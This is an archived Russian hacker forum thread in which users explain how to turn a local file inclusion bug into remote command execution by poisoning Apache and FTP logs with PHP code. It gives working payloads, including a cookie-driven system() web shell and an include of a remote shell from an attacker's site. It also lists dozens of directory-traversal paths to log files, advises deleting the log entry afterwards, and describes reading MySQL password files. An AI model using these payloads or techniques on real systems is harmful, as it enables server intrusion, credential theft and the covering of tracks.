Просмотр полной версии : access_log
Слышал что при локальном инклуде файла acces_log можно выполнять команды. Можно по подробнее ?
Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.
ЗЫ. Ты получишь скорее всего 400 (bad request), но запись в логе останется:
127.0.0.1 - - [25/Jun/2007:10:45:41 +0400] "GET http://localhost/xek.php?<? system($_COOKIE[cmd]);?> HTTP/1.0" 400 406
лучше уж сразу записать что-то типа <? @include("http://omg.com/youshell.php"); ?>.
если инклуд удал файлов запрещен, то придется ипацо так как сказал грейтег =\
зы. и кстати лучше баловаться с error_log, ибо как правило он всегда меньше. ;)
У меня в error_log пишется только название файла (some_file.php), а запрос к нему, в котором как раз и лежит код пхпшный, не пишется.. так что это не вариант.
Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали.
Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога.
Само собой, после укрепления в системе эту строчку из access.log стоит удалить ;)
2 _Great_ Целый день бьюсь над тем чтобы под инклудить лог. Дык у себя на компе могу это сделать, а вот на удаленном - хоть убей не могу найти этот лог. А файл конфига - вообще не отдается. Перебрал уже кучу серваков. нигде нет лога.
P.S. серваки под пингвинами.
Пробывал:
../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../var/log/httpd/access-log
../../../../../../../../../var/log/httpd/access.log
../../../../../../../../../var/log/httpd/access
Нету файлов. также вместо httpd прописывал - apache.
т.к. на некоторых серваках он завется apache, а не httpd
МОжет подскажишь как его нащупать?
Вот файл с конфигом вроде нашел. Но подинклудить не удается. на запрос типа: ../../../../../../../../../etc/httpd/conf/httpd.conf отвечает:
Warning: main(/home/****/public_html/mydir/) [function.main]: failed to open stream: Success in /home/****/public_html/mydir/index.php on line 83
Fatal error: main() [function.require]: Failed opening required '/home/****/public_html/mydir/' (include_path='.:/usr/lib/php') in /home/****/public_html/mydir/index.php on line 83
Иногда лог лежит в /usr/local/apache/logs/access.log или подобных. Не обязательно в /var/log.
../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log
спосибо, давно что то похожое искал
Итак, ты открываешь страницу http://host.com/some_file.php?<? system($_COOKIE[cmd]);?>, только не браузером а прямой посылкой GET-запроса к серваку. Этот запрос запишется в файл access_log в том виде как он и есть. То есть там окажется способный к выполнению пхп-код.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.
Далее ты просто подключаешь инклудом access_log и выполняешь команды через параметр cmd из кукисов.
Можно тут по подробней для такого инклуда нужно найти бажный скрипт? и как это выполнять команды и куков?
Можно тут по подробней для такого инклуда нужно найти бажный скрипт?
да, локальный инклуд.
и как это выполнять команды и куков?
забей на куки
вместо
<? system($_COOKIE[cmd]);?>
посылай
<? include('http://твой_сайт.ru/shell.php'); ?>
blackybr
06.07.2007, 18:52
Не обязательно лог апача =))) разве в системе есть только они? )
А какже логи фтп сервера ? ) пути к которым можно узнать из их кфг файла. Тоесть опять же. мы логинимся с логином
<? include('http://твой_сайт.ru/shell.php'); ?>
а затем инклудим еррор лог от стоящего фтпшника.. (ну или акцеслог).. вообще бываает что запись идет в оба. (Именно логин а непасс, т.к. Пасс даже не коректный НЕ показывается в логах)
забей на куки
вместо
<? system($_COOKIE[cmd]);?>
посылай
<? include('http://твой_сайт.ru/shell.php'); ?>
я думаю там проканает только локальный инклуд! из вне наврятли!
The_HuliGun
07.07.2007, 14:12
2 Dread
А ты лучше ну думай, а посмотри в phpinfo() директиву allow_url_fopen, и будешь знать навернека.
blackybr
08.07.2007, 15:45
я думаю там проканает только локальный инклуд! из вне наврятли!
наркоманы наступают =)) при чем тут это :))))
Great: да не то слово просто =\
Пардон за некрофилию, но вопрос встал ребром:
что делать, если и access.log и error.log такого большого размера, что в память php не влазят (> 8 Мб)? и система win, так что /proc/self/environ не поюзать
искать другие файлы, в которые можно записать инфу и инклюдить
искать другие файлы, в которые можно записать инфу и инклюдить
это понятно, ты бы хоть намекнул какие это могут быть файлы. можно в лс.
Можешь попробывать подинклудить файл базы данных.
C:/program files/mysql5.0.45/data/mysql
К примеру на сайте зарегистрировать пользователя и в регистрационных данных указать
которые в последствии запишутся в бд.
Допустим shema_name(site) и table_name(users).
Тогда данный php код будет находится
C://program files/mysql5.0.45/data/site/users.MYD
Естественно версия мускула в пути будет твоя.
После этого можешь попытаться подинклудить php код.
PS.
Таким же образом можно прочитать мускульные пароли пользователей.
C://program files/mysql5.0.45/data/mysql/user.MYD
Можешь попробывать подинклудить файл базы данных.
...
PS.
Таким же образом можно прочитать мускульные пароли пользователей.
Интересная идея, правда в моем случае она не поможет, нет СУБД - статика, еще и на винде Но в целом очень полезно, кстати, если СУБД на другом сервере расположена, теоретически можно будет её файлы подинклудить?
еще и на винде
Как раз только в винде такое и канает. В никсах идет жесткое разграничение по правам доступа и пользователь отличный от mysql прочитать файл базы данных не сможет.
нет СУБД - статика
Не обязательно СУБД именно от этого сайта. Может быть соседнии сайты используют эту же СУБД.
теоретически можно будет её файлы подинклудить?
Теоретически конечно возможно, если админ расшарил файлы базы данных по SMB. ))) Но как ты понимаешь, это Ооочень мало вероятно.
это понятно, ты бы хоть намекнул какие это могут быть файлы. можно в лс.
Кроме файлов баз данных - файлы почты, логов ftp, файлы сессии и прочее.
TheLuckyOne
26.09.2010, 20:21
Раз тема поднялась...
Возникла проблема с access_log. При его чтении браузер зависает и всё) Так понимаю что он тяжкий по весу. Что делать?
shell_c0de
26.09.2010, 21:37
2TheLuckyOne в первой странице этой ветки был ответ...
Ну а насчет инклуда шелла - ну код пхпшный выбирается исходя из фантазии хеккера +) Так что будь то include или system($_COOKIE[cmd]) или что еще - это уже детали.
Да, в конце кода еще стоит дописать die;
чтобы не тянуть с собой остаток лога.
Да, в конце кода еще стоит дописать die; чтобы не тянуть с собой остаток лога.
Раз тема поднялась...
Возникла проблема с access_log. При его чтении браузер зависает и всё) Так понимаю что он тяжкий по весу. Что делать?
Когда интерпретатор php встречает директиву include/require, он пытается загрузить в память файл, который в ней указан. Если этот файл размером больше, чем выделено памяти для процесса php, будет ошибка: "Fatal error: Allowed memory size of 25165824 bytes exhausted (tried to allocate 7979928 bytes)"
Хоть какой будет внутри лога код, хоть с die, хоть с чем. Ошибка происходит на стадии загрузки файла в память.
Expl0ited
27.09.2010, 07:53
Когда интерпретатор php встречает директиву include/require, он пытается загрузить в память файл, который в ней указан. Если этот файл размером больше, чем выделено памяти для процесса php, будет ошибка: "Fatal error: Allowed memory size of 25165824 bytes exhausted (tried to allocate 7979928 bytes)"
Хоть какой будет внутри лога код, хоть с die, хоть с чем. Ошибка происходит на стадии загрузки файла в память.
TheLuckyOne четко же написал? что "При его чтении браузер зависает" а не проблемы с памятью процесса PHP, тут уже проблема в браузере/канале интернета/наконец компьютере самого TheLuckyOne.
Теоретически эксплуатация возможна, но конечно бывает, что практически реализовать сложно из-за большого размера файла логов и маленького канала интернет соединения клиента.
TheLuckyOne четко же написал? что "
При его чтении браузер зависает
" а не проблемы с памятью процесса PHP, тут уже проблема в браузере/канале интернета/наконец компьютере самого TheLuckyOne.
Я то же самое написал, что проблема не в размере файла у него.
Теоретически эксплуатация возможна, но конечно бывает, что практически реализовать сложно из-за большого размера файла логов и маленького канала интернет соединения клиента.
Ок, вот и намекни как теоретически при размере файла большем чем доступно памяти php, нужно реализовывать такой инклуд, а уж практически мы разберемся на месте, не проблема. Просто написать, что теоретически это возможно и я могу.
З.Ы. Кстати, была идея форсировать очистку логов, но они растут такое впечатление что до бесконечности. до 1.5 гига access_log дорастил - результата нет.
Expl0ited
27.09.2010, 08:47
Я то же самое написал, что проблема не в размере файла у него.
Ок, вот и намекни как теоретически при размере файла большем чем доступно памяти php, нужно реализовывать такой инклуд, а уж практически мы разберемся на месте, не проблема. Просто написать, что теоретически это возможно и я могу.
З.Ы. Кстати, была идея форсировать очистку логов, но они растут такое впечатление что до бесконечности. до 1.5 гига access_log дорастил - результата нет.
Если размер файла выходит за рамки memory_limit, то ничего сделать не удастся. Я же писал, цитируя пост, TheLuckyOne, в котором он описывает то, что у него виснет браузер(!) от размера логов, а не PHP выдает ошибку из серии Allowed memory size...
Впрочем этот разговор выходит за рамки темы, а гадать, какая именно ситуация у TheLuckyOne, бессмысленно.
TheLuckyOne
27.09.2010, 16:23
Всё верно, ошибки Memory_Limit другой случай.
У меня проблема была с несколькими хостами на тему зависания.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot